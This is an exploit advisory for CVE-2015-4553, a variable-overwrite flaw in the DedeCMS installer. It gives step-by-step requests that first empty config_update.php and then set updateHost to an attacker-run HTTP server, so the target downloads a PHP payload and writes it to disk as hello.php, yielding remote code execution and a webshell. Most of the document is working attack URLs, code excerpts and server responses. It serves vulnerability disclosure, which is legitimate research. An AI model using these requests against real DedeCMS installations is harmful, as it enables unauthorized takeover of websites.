 ==========================
# Exploit Title: Dedecms variable coverage leads to getshell
# Date: 26-06-2015
# Vendor Homepage: http://www.dedecms.com/]
# Version: dedecms 5.7-sp1 and all old version
# CVE : CVE-2015-4553
===========================


[CVE-2015-4553]Dedecms variable coverage leads to getshell
#############################################################################
#
#   DBAPPSECURITY  LIMITED http://www.dbappsecurity.com.cn/
#
#############################################################################
#
# CVE ID:   CVE-2015-4553
# Subject:   Dedecms variable coverage leads to getshell
# Author:   zise
# Date:     06.17.2015
#############################################################################
Introduction:
========
dedecms Open source cms
Extensive application
 
Influence version 
Newest dedecms 5.7-sp1 and all old version


Remote getshell 
Details:
=======
After the default installation of dedecms
Installation directory
/install/index.php
or
/install/index.php.bak
 
/install/index.php //run iis apache exploit
/install/index.php.bak //run apache exploit


Code analysis

/install/index.php.bak?install_demo_name=aaaa&insLockfile=bbbb

#############################################################################
17 $install_demo_name = 'dedev57demo.txt';
18 $insLockfile = dirname(__FILE__).'/install_lock.txt';

here $install_demo_name and $insLockfile definition
// echo $install_demo_name;  printf dedev57demo.txt 

29 foreach(Array('_GET','_POST','_COOKIE') as $_request)
30 {
31    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
32 }


// echo $install_demo_name; printf aaaa

$install_demo_name by variable coverage

The same
17 $install_demo_name = 'dedev57demo.txt';
18 $insLockfile = dirname(__FILE__).'/install_lock.txt';

variable coverage
#############################################################################



 
GETSHELL Step 1 Clear file contents config_update.php
#############################################################################
config_update.php
13 $updateHost = 'http://updatenew.dedecms.com/base-v57/';
14 $linkHost = 'http://flink.dedecms.com/server_url.php';

In order to obtain the webshell need to control $updateHost
So the use of variable coverags cleared config_update.php

 
http://192.168.204.135/install/index.php.bak
?step=11
&insLockfile=a
&s_lang=a
&install_demo_name=../data/admin/config_update.php

index.php.bak
373 else if($step==11)
374 {
375 require_once('../data/admin/config_update.php');
376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
377 
378 $sql_content = file_get_contents($rmurl);
379 $fp = fopen($install_demo_name,'w');
380 if(fwrite($fp,$sql_content))
381 echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
382 else
383 echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
384 unset($sql_content);
385 fclose($fp);
386 exit();
387 }

###
HTTP/1.1 200 OK
Date: Wed, 17 Jun 2015 06:55:23 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Vary: User-Agent
Content-Length: 55
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
 
  <font color="red">[×]</font> 远程获取失败
 ###




###After execution file 0 byte ~ho~year~####
2015/06/17  14:55                 0 config_update.php
               1 file              0 byte


 
GETSHELL Step 2
#############################################################################
Create local HTTP services
 
zise:tmp zise$ ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
inet 119.253.3.18 netmask 0xffffff00 broadcast  
 
zise:tmp zise$ mkdir "dedecms"
zise:tmp zise$ cd dedecms/
zise:dedecms zise$ echo "<?php phpinfo();?>" > demodata.a.txt
zise:dedecms zise$ cd ../
zise:tmp zise$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.204.135 - - [17/Jun/2015 15:11:18] "GET /dedecms/demodata.a.txt HTTP/1.0" 200 -
 
 
####
http://192.168.204.135/install/index.php.bak
?step=11
&insLockfile=a
&s_lang=a
&install_demo_name=hello.php
&updateHost=http://119.253.3.18:8000/

####
 
HTTP/1.1 200 OK
Date: Wed, 17 Jun 2015 07:11:18 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Vary: Accept-Encoding,User-Agent
Content-Length: 81
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
 
  <font color="green">[√]</font> 存在(您可以选择安装进行体验)


index.php.bak
373 else if($step==11)
374 {
375 require_once('../data/admin/config_update.php');
376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
377 
378 $sql_content = file_get_contents($rmurl);
379 $fp = fopen($install_demo_name,'w');
380 if(fwrite($fp,$sql_content))  //fwrite websehll
381 echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
382 else
383 echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
384 unset($sql_content);
385 fclose($fp);
386 exit();
387 }
 
Attack complete
you webshell
 
http://192.168.204.135/install/hello.php



> zise ^_^
> Security researcher

This is the vulnerability of some web pages
http://seclists.org/fulldisclosure/2015/Jun/47